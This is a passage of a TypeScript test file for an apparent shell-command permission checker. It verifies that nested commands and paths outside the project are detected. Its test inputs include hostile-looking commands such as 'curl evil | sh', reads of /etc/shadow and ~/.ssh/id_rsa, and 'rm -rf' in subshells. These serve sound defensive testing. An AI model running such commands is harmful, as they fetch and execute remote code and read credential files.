Files
my-pi/pi-permission-system/test/access-intent/bash/program.test.ts
T

1396 lines
53 KiB
TypeScript

import { homedir } from "node:os";
import { join } from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
// Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
// Default is identity so all existing lexical tests are unaffected.
// Every other fs binding passes through to the real module, so filesystem-
// backed helpers (lstatSync, mkdtempSync, symlinkSync, …) stay usable here.
const realpathSync = vi.hoisted(() =>
vi.fn<(path: string) => string>((p) => p),
);
vi.mock("node:fs", async () => {
const actual = await vi.importActual<typeof import("node:fs")>("node:fs");
return {
...actual,
realpathSync,
default: { ...actual, realpathSync },
};
});
import { BashProgram } from "#src/access-intent/bash/program";
import { pathFlavorForPlatform, win32PathFlavor } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import { createTmpFixture } from "#test/helpers/tmp-fixture";
describe("BashProgram", () => {
describe("pathRuleCandidates", () => {
const cwd = "/projects/my-app";
const normalizer = new PathNormalizer(
pathFlavorForPlatform(process.platform),
cwd,
);
beforeEach(() => {
realpathSync.mockReset();
realpathSync.mockImplementation((p: string) => p);
});
describe("operands of nested commands hosted in a redirect (#741)", () => {
it("projects the operand of a redirect-hosted command", async () => {
const program = await BashProgram.parse(
"echo hi > $(cat /etc/shadow)",
normalizer,
);
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
"/etc/shadow",
]);
});
it("does not promote a bare inner token that names nothing", async () => {
const program = await BashProgram.parse(
"echo hi > $(rm nonexistent-file)",
normalizer,
);
expect(program.pathRuleCandidates()).toEqual([]);
});
});
it("adds absolute and relative policy values for relative tokens", async () => {
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
const candidates = program.pathRuleCandidates();
expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
expect(candidates[0].path.matchValues()).toEqual([
"/projects/my-app/src/foo.ts",
"src/foo.ts",
]);
expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
});
it("resolves tokens after literal cd against the effective directory", async () => {
const program = await BashProgram.parse(
"cd nested && cat src/file.txt",
normalizer,
);
const fileCandidate = program
.pathRuleCandidates()
.find((candidate) => candidate.token === "src/file.txt");
expect(fileCandidate?.path.matchValues()).toEqual([
"/projects/my-app/nested/src/file.txt",
"nested/src/file.txt",
"src/file.txt",
]);
expect(fileCandidate?.path.value()).toBe(
"/projects/my-app/nested/src/file.txt",
);
});
it("adds the canonical alias for a symlinked token (#486)", async () => {
// /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
realpathSync.mockImplementation((p: string) =>
p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
);
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
const candidate = program.pathRuleCandidates()[0];
expect(candidate.path.matchValues()).toEqual([
"/projects/my-app/src/foo.ts",
"src/foo.ts",
"/vault/foo.ts",
]);
});
it("does not absolute-allow relative tokens after unknown cd", async () => {
const program = await BashProgram.parse(
'cd "$DIR" && cat src/foo.ts',
normalizer,
);
const fileCandidate = program
.pathRuleCandidates()
.find((candidate) => candidate.token === "src/foo.ts");
expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
expect(fileCandidate?.path.value()).toBe("src/foo.ts");
});
it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
// A canonical alias here would resolve against the wrong (unknown) base.
realpathSync.mockImplementation(() => "/somewhere/else");
const program = await BashProgram.parse(
'cd "$DIR" && cat src/foo.ts',
normalizer,
);
const fileCandidate = program
.pathRuleCandidates()
.find((candidate) => candidate.token === "src/foo.ts");
expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
expect(fileCandidate?.path.boundaryValue()).toBe("");
});
describe("existence-probe bare-token promotion (#645)", () => {
// Candidacy comes from the filesystem, so these run against a real
// tmpdir cwd with real lstat/realpath rather than the fake cwd above.
const tmp = createTmpFixture();
let root: string;
let probeNormalizer: PathNormalizer;
beforeEach(async () => {
const actual =
await vi.importActual<typeof import("node:fs")>("node:fs");
realpathSync.mockImplementation(actual.realpathSync);
// Canonicalize the root: on macOS the tmpdir is itself a symlink, so a
// lexical root would disagree with every canonical form derived below.
root = actual.realpathSync(tmp.dir("pi-perm-bash-"));
probeNormalizer = new PathNormalizer(
pathFlavorForPlatform(process.platform),
root,
);
});
afterEach(() => {
tmp.cleanup();
});
it("promotes a bare token naming an existing file", async () => {
tmp.file(root, "id_rsa", "key");
const program = await BashProgram.parse("cat id_rsa", probeNormalizer);
const candidates = program.pathRuleCandidates();
expect(candidates.map(({ token }) => token)).toEqual(["id_rsa"]);
expect(candidates[0].path.matchValues()).toEqual([
join(root, "id_rsa"),
"id_rsa",
]);
});
it("drops a bare token naming nothing — `git status` stays silent (#509)", async () => {
const program = await BashProgram.parse("git status", probeNormalizer);
expect(program.pathRuleCandidates()).toHaveLength(0);
});
it("drops every bare word of a command referencing no real file", async () => {
const program = await BashProgram.parse(
"npm run build && git checkout main",
probeNormalizer,
);
expect(program.pathRuleCandidates()).toHaveLength(0);
});
it("promotes a bare symlink and carries its target as a match value", async () => {
// The issue's second repro shape: a_sym -> .some.secret, where the rule
// names the target. Raw-token matching could never see this.
const secret = tmp.file(root, ".some.secret", "s3cret");
tmp.symlink(root, "a_sym", secret);
const program = await BashProgram.parse("cat a_sym", probeNormalizer);
const candidate = program
.pathRuleCandidates()
.find((c) => c.token === "a_sym");
expect(candidate?.path.matchValues()).toContain(
join(root, ".some.secret"),
);
});
it("promotes a bare token naming a directory", async () => {
tmp.subdir(root, "vault");
const program = await BashProgram.parse("ls vault", probeNormalizer);
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
"vault",
]);
});
it("promotes a dangling symlink — the link is the named operand", async () => {
tmp.symlink(root, "dangling", join(root, "gone"));
const program = await BashProgram.parse(
"cat dangling",
probeNormalizer,
);
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
"dangling",
]);
});
it("keeps a promoted token literal-only after an unknown cd (#393)", async () => {
tmp.file(root, "id_rsa", "key");
const program = await BashProgram.parse(
'cd "$DIR" && cat id_rsa',
probeNormalizer,
);
// An unknown base cannot be probed against a known directory, so the
// token stays unpromoted rather than resolving against the wrong cwd.
expect(program.pathRuleCandidates()).toHaveLength(0);
});
it("does not double-promote a token the shape gate already accepts", async () => {
tmp.file(root, "id_rsa", "key");
const program = await BashProgram.parse(
"cat ./id_rsa",
probeNormalizer,
);
expect(program.pathRuleCandidates()).toHaveLength(1);
});
it("probes a bare token against the effective directory after a literal cd", async () => {
const nested = tmp.subdir(root, "nested");
tmp.file(nested, "inner.txt", "x");
const program = await BashProgram.parse(
"cd nested && cat inner.txt",
probeNormalizer,
);
const candidate = program
.pathRuleCandidates()
.find((c) => c.token === "inner.txt");
expect(candidate?.path.matchValues()).toContain(
join(root, "nested", "inner.txt"),
);
});
it("consults no policy — promotion needs no matcher argument", async () => {
tmp.file(root, "id_rsa", "key");
const program = await BashProgram.parse("cat id_rsa", probeNormalizer);
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
"id_rsa",
]);
});
});
describe("resolved shell expansions (#694)", () => {
it("resolves ${HOME}/… instead of fabricating a cwd-relative path", async () => {
const program = await BashProgram.parse(
'ls "${HOME}/somewhere"',
normalizer,
);
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
join(homedir(), "somewhere"),
]);
});
it("keeps a $PWD token literal-only after a non-literal cd", async () => {
// `$PWD` becomes the base-relative `.`, so it inherits the #393
// unknown-base treatment rather than resolving against the wrong
// directory — and never fabricates `<cwd>/$PWD/x`.
const program = await BashProgram.parse(
'cd "$DIR" && ls "$PWD/x"',
normalizer,
);
const candidate = program
.pathRuleCandidates()
.find(({ token }) => token === "./x");
expect(candidate?.path.matchValues()).toEqual(["./x"]);
expect(candidate?.path.boundaryValue()).toBe("");
});
it("leaves a variable outside the resolvable set unresolved", async () => {
const program = await BashProgram.parse('ls "$CONFIG/x"', normalizer);
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
"$CONFIG/x",
]);
});
});
});
describe("externalPaths", () => {
const cwd = "/projects/my-app";
const normalizer = new PathNormalizer(
pathFlavorForPlatform(process.platform),
cwd,
);
beforeEach(() => {
realpathSync.mockReset();
realpathSync.mockImplementation((p: string) => p);
});
it("returns absolute paths resolving outside cwd", async () => {
const program = await BashProgram.parse("cat /etc/hosts", normalizer);
// Subset matcher: the path is normalized before comparison.
expect(program.externalPaths().map((p) => p.value())).toContain(
"/etc/hosts",
);
});
describe("operands of nested commands hosted in a redirect (#741)", () => {
it.each([
["a redirect destination", "echo hi > $(cat /etc/shadow)"],
["an appending destination", "echo hi >> $(cat /etc/shadow)"],
["an input process substitution", "cat < <(cat /etc/shadow)"],
["a concatenated destination", "echo hi > ${DIR}/$(cat /etc/shadow)"],
])("projects an operand hosted in %s", async (_label, command) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/etc/shadow",
);
});
it("still projects a plain redirect destination", async () => {
const program = await BashProgram.parse(
"echo hi > /etc/passwd",
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/etc/passwd",
);
});
});
describe("bare tokens escaping the tree via symlink (#645)", () => {
const tmp = createTmpFixture();
let root: string;
let probeNormalizer: PathNormalizer;
// Canonical temp dir: on macOS the tmpdir is itself a symlink, so a
// lexical path would disagree with every canonical form under assertion.
let canonicalDir: (prefix: string) => string;
beforeEach(async () => {
const actual =
await vi.importActual<typeof import("node:fs")>("node:fs");
realpathSync.mockImplementation(actual.realpathSync);
canonicalDir = (prefix) => actual.realpathSync(tmp.dir(prefix));
root = canonicalDir("pi-perm-ext-cwd-");
probeNormalizer = new PathNormalizer(
pathFlavorForPlatform(process.platform),
root,
);
});
afterEach(() => {
tmp.cleanup();
});
it("flags an in-project bare symlink whose target is outside cwd", async () => {
// The issue's headline repro:
// printf 'test' > /tmp/pi-permission-test-secret
// ln -s /tmp/pi-permission-test-secret outside-link
// cat outside-link
const outsideRoot = canonicalDir("pi-perm-ext-target-");
const secret = tmp.file(outsideRoot, "pi-permission-test-secret", "s");
tmp.symlink(root, "outside-link", secret);
const program = await BashProgram.parse(
"cat outside-link",
probeNormalizer,
);
expect(program.externalPaths().map((p) => p.boundaryValue())).toContain(
secret,
);
});
it("does not flag a bare token resolving inside cwd", async () => {
tmp.file(root, "inside.txt", "x");
const program = await BashProgram.parse(
"cat inside.txt",
probeNormalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("does not flag a bare word naming nothing", async () => {
const program = await BashProgram.parse("git status", probeNormalizer);
expect(program.externalPaths()).toHaveLength(0);
});
it("flags a bare symlink to an outside directory", async () => {
const outsideRoot = canonicalDir("pi-perm-ext-dir-");
tmp.symlink(root, "vault", outsideRoot);
const program = await BashProgram.parse("ls vault", probeNormalizer);
expect(program.externalPaths().map((p) => p.boundaryValue())).toContain(
outsideRoot,
);
});
});
it("flags a path embedded in a long option (#645)", async () => {
// The issue's second repro: `grep --file=…` under an allowing `grep *`
// rule. The flag token is rejected by the shape prelude, so the value is
// split out at collection and classified on its own.
const program = await BashProgram.parse(
"grep --file=/tmp/pi-permission-patterns target",
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/tmp/pi-permission-patterns",
);
});
it("excludes paths within cwd", async () => {
const program = await BashProgram.parse("cat src/index.ts", normalizer);
expect(program.externalPaths()).toHaveLength(0);
});
describe("win32 projection (injected platform, no vi.mock node:path)", () => {
const winNormalizer = new PathNormalizer(
win32PathFlavor,
"C:\\Projects\\App",
);
it("expands $HOME before any platform-specific token handling", async () => {
// Expansion happens at collection, upstream of the flavor, so the
// token the projection carries is the expanded path on every host.
const program = await BashProgram.parse('ls "$HOME/x"', winNormalizer);
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
`${homedir()}/x`,
]);
});
it("keeps a non-mount POSIX absolute literal (Git Bash semantics)", async () => {
// On win32, Pi core runs Git Bash: /etc is an MSYS install-root path,
// not C:\etc, so it is matched and displayed as typed (#533).
const program = await BashProgram.parse(
"cat /etc/hosts",
winNormalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
"/etc/hosts",
]);
});
it("keeps a non-mount POSIX absolute as a literal rule candidate", async () => {
const program = await BashProgram.parse("cat /tmp/foo", winNormalizer);
const candidate = program.pathRuleCandidates()[0];
expect(candidate.path.matchValues()).toEqual(["/tmp/foo"]);
});
it("folds a drive-mount cd so a following traversal resolves under it", async () => {
// cd /c/Other → base C:\Other; ../x resolves to C:\x (not C:\c\x).
// The cd argument itself is also collected and translated (c:\other).
const program = await BashProgram.parse(
"cd /c/Other && cat ../x",
winNormalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
"c:\\other",
"c:\\x",
]);
});
it("degrades a non-mount POSIX absolute cd to a conservative unknown base", async () => {
// Git Bash's /tmp is install-dependent, so `cd /tmp` makes the base
// unresolvable; a following traversal is flagged conservatively against
// cwd for display, and /tmp itself is a literal external path (#533).
const program = await BashProgram.parse(
"cd /tmp && cat ../x",
winNormalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
"/tmp",
"c:\\projects\\x",
]);
});
it("flags a ..-traversal escaping cwd under win32 rules", async () => {
const program = await BashProgram.parse(
"cat ../sibling/x",
winNormalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
"c:\\projects\\sibling\\x",
]);
});
it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
const program = await BashProgram.parse(
"cd sub && cat ../x",
winNormalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("recognizes a backslash-relative token as a path rule candidate (#520)", async () => {
const program = await BashProgram.parse("cat dir\\file", winNormalizer);
const candidate = program.pathRuleCandidates()[0];
expect(candidate.token).toBe("dir\\file");
});
it("resolves a backslash-relative token to the same win32 aliases its forward-slash equivalent matches (#520)", async () => {
const backslashProgram = await BashProgram.parse(
"cat dir\\file",
winNormalizer,
);
const forwardSlashProgram = await BashProgram.parse(
"cat dir/file",
winNormalizer,
);
const backslashAliases = backslashProgram
.pathRuleCandidates()[0]
.path.matchValues();
// The backslash token resolves to the canonical win32 path plus its
// win32-normalized relative alias.
expect(backslashAliases).toEqual([
"c:\\projects\\app\\dir\\file",
"dir\\file",
]);
// The forward-slash equivalent carries the same aliases plus a redundant
// raw "dir/file" that folds to "dir\file" under win32 separator folding,
// so every path rule matches both forms identically (#520).
const forwardSlashAliases = forwardSlashProgram
.pathRuleCandidates()[0]
.path.matchValues();
for (const alias of backslashAliases) {
expect(forwardSlashAliases).toContain(alias);
}
});
});
describe("posix backslash-relative tokens stay bare (#520)", () => {
it("does not treat a backslash-relative token as a path rule candidate on posix", async () => {
const program = await BashProgram.parse("cat dir\\file", normalizer);
expect(program.pathRuleCandidates()).toHaveLength(0);
});
});
describe("resolved shell expansions (#694)", () => {
it("flags $HOME/… whose target does not exist", async () => {
// The token expands to an absolute path before classification, so the
// strict gate accepts it by shape — no longer dependent on the #645
// existence probe rescuing it.
const program = await BashProgram.parse(
'touch "$HOME/pi-permission-system-repro-new"',
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
join(homedir(), "pi-permission-system-repro-new"),
]);
});
it("flags a bare ${HOME}", async () => {
const program = await BashProgram.parse('ls "${HOME}"', normalizer);
expect(program.externalPaths().map((p) => p.value())).toEqual([
homedir(),
]);
});
it("flags ${HOME}/…", async () => {
const program = await BashProgram.parse(
'ls "${HOME}/somewhere"',
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
join(homedir(), "somewhere"),
]);
});
it("flags a $HOME redirect destination", async () => {
const program = await BashProgram.parse(
"echo hi > $HOME/out.txt",
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
join(homedir(), "out.txt"),
]);
});
it("yields exactly one entry for an existing $HOME target", async () => {
// Previously the existence probe promoted this token; now the strict
// shape gate accepts it. It must not be collected through both.
const program = await BashProgram.parse('ls "$HOME"', normalizer);
expect(program.externalPaths().map((p) => p.value())).toEqual([
homedir(),
]);
});
it("gives $HOME/… and its literal spelling the same projection", async () => {
const expanded = await BashProgram.parse(
`ls "${join(homedir(), "docs")}"`,
normalizer,
);
const spelled = await BashProgram.parse('ls "$HOME/docs"', normalizer);
expect(spelled.externalPaths().map((p) => p.value())).toEqual(
expanded.externalPaths().map((p) => p.value()),
);
});
it("resolves $HOME/… independently of an unknown effective base", async () => {
const program = await BashProgram.parse(
'cd "$DIR" && cat "$HOME/.ssh/id_rsa"',
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
join(homedir(), ".ssh/id_rsa"),
]);
});
it("resolves $PWD against the cd-folded base", async () => {
// `/etc` is flagged by the `cd` argument token itself, as it is for any
// absolute `cd` target; `$PWD/passwd` contributes the second entry.
const program = await BashProgram.parse(
'cd /etc && ls "$PWD/passwd"',
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toEqual([
"/etc",
"/etc/passwd",
]);
});
it("does not flag a $PWD token that stays inside the working directory", async () => {
const program = await BashProgram.parse('ls "$PWD/src"', normalizer);
expect(program.externalPaths()).toHaveLength(0);
});
it("does not resolve an expansion carrying an operator", async () => {
const program = await BashProgram.parse(
'ls "${HOME:-/tmp}/x"',
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("does not resolve a variable through an assignment (accepted residual)", async () => {
// ADR 0009 keeps assignment-then-reference an accepted residual; this
// pins the declined behavior so a future change is a deliberate one.
const program = await BashProgram.parse(
'CURRENT="$HOME"; ls "$CURRENT"',
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
});
describe("effective working directory projection", () => {
it("folds a sequence of current-shell cd commands", async () => {
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
const program = await BashProgram.parse(
"cd a && cd b && cat ../c",
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("catches an escape masked by a later cd that the single-base model missed", async () => {
// Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
// ../../etc/passwd escapes to /projects/etc/passwd.
const program = await BashProgram.parse(
"cd nested/deep && cd .. && cat ../../etc/passwd",
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/etc/passwd",
);
});
it("folds a cd that is not the first command", async () => {
// The single-base model ignored a cd that was not first; now `cd a`
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
const program = await BashProgram.parse(
"mkdir d && cd a && cat ../b",
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("does not fold a backgrounded cd", async () => {
// `cd a &` runs in a subshell, so it must not update the running
// directory; ../b resolves against cwd and escapes.
const program = await BashProgram.parse("cd a & cat ../b", normalizer);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/b",
);
});
it("does not fold a cd inside a pipeline", async () => {
// Pipeline members run in subshells; the cd must not leak.
const program = await BashProgram.parse(
"cd nested | cat ../b",
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/b",
);
});
it("folds a cd inside a subshell for paths within that subshell", async () => {
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
const program = await BashProgram.parse(
"( cd sub && cat ../x )",
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("does not leak a subshell cd to following commands", async () => {
// The subshell cd resets on exit, so ../y resolves against cwd.
const program = await BashProgram.parse(
"( cd sub ) && cat ../y",
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/y",
);
});
it("persists a cd inside a brace group to later commands in the group", async () => {
// Brace groups run in the current shell, so cd sub persists to cat ../x.
const program = await BashProgram.parse(
"{ cd sub; cat ../x; }",
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("persists a brace-group cd to following sibling commands", async () => {
const program = await BashProgram.parse(
"{ cd sub; } && cat ../x",
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("conservatively flags a relative path inside a command substitution", async () => {
// Interior cd folding inside substitutions is deferred: the interior
// inherits the enclosing base (cwd), so ../r is flagged rather than
// resolved against cwd/q. Conservative — never misses an escape.
const program = await BashProgram.parse(
"echo $(cd q && cat ../r)",
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/r",
);
});
it("flags relative paths conservatively after a non-literal cd", async () => {
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
// so it is flagged (least-privilege).
const program = await BashProgram.parse(
'cd "$DIR" && cat ../x',
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/x",
);
});
it("flags even a within-cwd relative path after a non-literal cd", async () => {
// Conservative cost: src/../within.txt resolves inside cwd but is still
// flagged because the effective dir is unknown.
const program = await BashProgram.parse(
'cd "$DIR" && cat src/../within.txt',
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/my-app/within.txt",
);
});
it("still resolves an absolute path normally after a non-literal cd", async () => {
// Absolute paths are base-independent; one inside cwd is not flagged
// even when the effective dir is unknown.
const program = await BashProgram.parse(
'cd "$DIR" && cat /projects/my-app/x.txt',
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("treats `cd -` as an unknown effective directory", async () => {
const program = await BashProgram.parse("cd - && cat ../x", normalizer);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/x",
);
});
it("recovers a known base when a later cd is absolute", async () => {
// cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
// ../x resolves to cwd and is not flagged.
const program = await BashProgram.parse(
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
// tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
// `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
// inside a `pipeline` node. Bash precedence (`|` binds tighter than
// `&&`) makes `cd a` current-shell, so the fold must persist past the
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
const program = await BashProgram.parse(
"cd a && pnpm x 2>&1 | tail ; cat ../b",
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("persists the fold past a redirect-then-pipe to a later cd", async () => {
// The issue reproduction: the fold from `cd a/b` survives the
// redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
// cwd instead of escaping one level above.
const program = await BashProgram.parse(
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
it("does not fold the terminal piped command of the first stage", async () => {
// Fail-closed: `cd b` is the terminal command of the first stage, i.e.
// the real pipe stage (a subshell), so it must NOT fold. With the
// correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
// wrongly folded, the base would be cwd/a/b and ../../x would stay
// inside — a fail-open regression this test pins.
const program = await BashProgram.parse(
"cd a && cd b 2>&1 | tail ; cat ../../x",
normalizer,
);
expect(program.externalPaths().map((p) => p.value())).toContain(
"/projects/x",
);
});
it("resolves a downstream pipe stage against the folded base", async () => {
// The stage after the `|` runs in a subshell that inherits the folded
// cwd/a, so ../foo resolves inside cwd rather than escaping against the
// pre-cd base.
const program = await BashProgram.parse(
"cd a && pnpm x 2>&1 | cat ../foo",
normalizer,
);
expect(program.externalPaths()).toHaveLength(0);
});
});
it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => {
// The strict classifier only processes absolute tokens, so the escape
// surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`.
// The boundary decision still uses the canonical form (so the path is
// flagged), but the returned value is the typed/lexical form so config
// patterns match the path as the user wrote it (#418).
realpathSync.mockImplementation((p: string) => {
if (p === "/projects/my-app/link/hosts") return "/etc/hosts";
return p;
});
const program = await BashProgram.parse(
"cat /projects/my-app/link/hosts",
normalizer,
);
const external = program.externalPaths().map((p) => p.value());
expect(external).toContain("/projects/my-app/link/hosts");
expect(external).not.toContain("/etc/hosts");
});
it("does not flag a token that resolves within a symlinked cwd", async () => {
// Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form.
const symlinkCwd = "/private/tmp";
realpathSync.mockImplementation((p: string) => {
if (p === "/tmp") return "/private/tmp";
if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`;
return p;
});
const program = await BashProgram.parse(
"cat /tmp/workspace/file.ts",
new PathNormalizer(pathFlavorForPlatform(process.platform), symlinkCwd),
);
expect(program.externalPaths()).toHaveLength(0);
});
});
describe("commands", () => {
const cwd = "/projects/my-app";
const normalizer = new PathNormalizer(
pathFlavorForPlatform(process.platform),
cwd,
);
it("returns a single-element list for a lone command", async () => {
const program = await BashProgram.parse("npm install pkg", normalizer);
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
});
it("splits an && chain", async () => {
const program = await BashProgram.parse("cd /p && npm i x", normalizer);
expect(program.commands()).toEqual([
{ text: "cd /p" },
{ text: "npm i x" },
]);
});
it("splits || , ; and & separators", async () => {
expect(
(await BashProgram.parse("a || b", normalizer)).commands(),
).toEqual([{ text: "a" }, { text: "b" }]);
expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
[{ text: "a" }, { text: "b" }],
);
expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
[{ text: "a" }, { text: "b" }],
);
});
it("splits a pipeline into its commands", async () => {
const program = await BashProgram.parse("cat f | grep b", normalizer);
expect(program.commands()).toEqual([
{ text: "cat f" },
{ text: "grep b" },
]);
});
it("splits newline-separated commands", async () => {
const program = await BashProgram.parse("foo\nbar", normalizer);
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
});
it("does not split operators inside quotes", async () => {
const program = await BashProgram.parse("echo 'x && y'", normalizer);
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
});
it("captures the command of a redirected statement without the redirect", async () => {
const program = await BashProgram.parse(
"npm install > out.txt",
normalizer,
);
expect(program.commands()).toEqual([{ text: "npm install" }]);
});
describe("commands hosted in a redirect target (#741)", () => {
it.each([
["echo hi > $(rm x)", "echo hi", "rm x"],
["echo hi >> $(rm b)", "echo hi", "rm b"],
["echo hi 2> `rm d`", "echo hi", "rm d"],
["echo hi &> $(rm q)", "echo hi", "rm q"],
])("descends into %s", async (command, enclosing, inner) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()).toEqual([
{ text: enclosing },
{ text: inner, context: "command_substitution" },
]);
});
it("descends into a process substitution read as input", async () => {
const program = await BashProgram.parse("cat < <(rm c)", normalizer);
expect(program.commands()).toEqual([
{ text: "cat" },
{ text: "rm c", context: "process_substitution" },
]);
});
it("descends into a substitution concatenated into the destination", async () => {
const program = await BashProgram.parse(
"echo hi > ${DIR}/$(rm z)",
normalizer,
);
expect(program.commands()).toEqual([
{ text: "echo hi" },
{ text: "rm z", context: "command_substitution" },
]);
});
it("descends into a redirect on a chained command", async () => {
const program = await BashProgram.parse(
"cd /p && echo hi > $(rm x)",
normalizer,
);
expect(program.commands()).toEqual([
{ text: "cd /p" },
{ text: "echo hi" },
{ text: "rm x", context: "command_substitution" },
]);
});
it("leaves a plain redirect destination unenumerated", async () => {
const program = await BashProgram.parse(
"echo hi > out.txt",
normalizer,
);
expect(program.commands()).toEqual([{ text: "echo hi" }]);
});
});
describe("commands hosted in a heredoc body (#741)", () => {
it("descends into an interpolating heredoc body", async () => {
const program = await BashProgram.parse(
"cat <<EOF\n$(rm e)\nEOF",
normalizer,
);
expect(program.commands()).toEqual([
{ text: "cat" },
{ text: "rm e", context: "command_substitution" },
]);
});
it.each([
["single-quoted", "cat <<'EOF'\n$(rm e)\nEOF"],
["double-quoted", 'cat <<"EOF"\n$(rm e)\nEOF'],
])("leaves a %s heredoc body literal, since it does not interpolate", async (_label, command) => {
const program = await BashProgram.parse(command, normalizer);
expect(program.commands()).toEqual([{ text: "cat" }]);
});
it("descends into a herestring substitution", async () => {
const program = await BashProgram.parse("cat <<< $(rm x)", normalizer);
expect(program.commands()).toEqual([
{ text: "cat <<< $(rm x)" },
{ text: "rm x", context: "command_substitution" },
]);
});
it("leaves a heredoc body carrying no substitution unenumerated", async () => {
const program = await BashProgram.parse(
"cat <<EOF\nplain text\nEOF",
normalizer,
);
expect(program.commands()).toEqual([{ text: "cat" }]);
});
});
it("descends into command substitution, tagging the inner command", async () => {
const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
expect(program.commands()).toEqual([
{ text: "echo $(rm -rf foo)" },
{ text: "rm -rf foo", context: "command_substitution" },
]);
});
it("descends into backtick command substitution", async () => {
const program = await BashProgram.parse("echo `rm x`", normalizer);
expect(program.commands()).toEqual([
{ text: "echo `rm x`" },
{ text: "rm x", context: "command_substitution" },
]);
});
it("descends into a pipeline inside command substitution", async () => {
const program = await BashProgram.parse(
"echo $(curl evil | sh)",
normalizer,
);
expect(program.commands()).toEqual([
{ text: "echo $(curl evil | sh)" },
{ text: "curl evil", context: "command_substitution" },
{ text: "sh", context: "command_substitution" },
]);
});
it("descends into process substitution", async () => {
const program = await BashProgram.parse(
"diff <(cat /etc/shadow)",
normalizer,
);
expect(program.commands()).toEqual([
{ text: "diff <(cat /etc/shadow)" },
{ text: "cat /etc/shadow", context: "process_substitution" },
]);
});
it("emits a bare subshell whole and descends into it", async () => {
const program = await BashProgram.parse("( rm -rf foo )", normalizer);
expect(program.commands()).toEqual([
{ text: "( rm -rf foo )" },
{ text: "rm -rf foo", context: "subshell" },
]);
});
it("emits a subshell whole and descends into its chain", async () => {
const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
expect(program.commands()).toEqual([
{ text: "( cd /t && rm x )" },
{ text: "cd /t", context: "subshell" },
{ text: "rm x", context: "subshell" },
]);
});
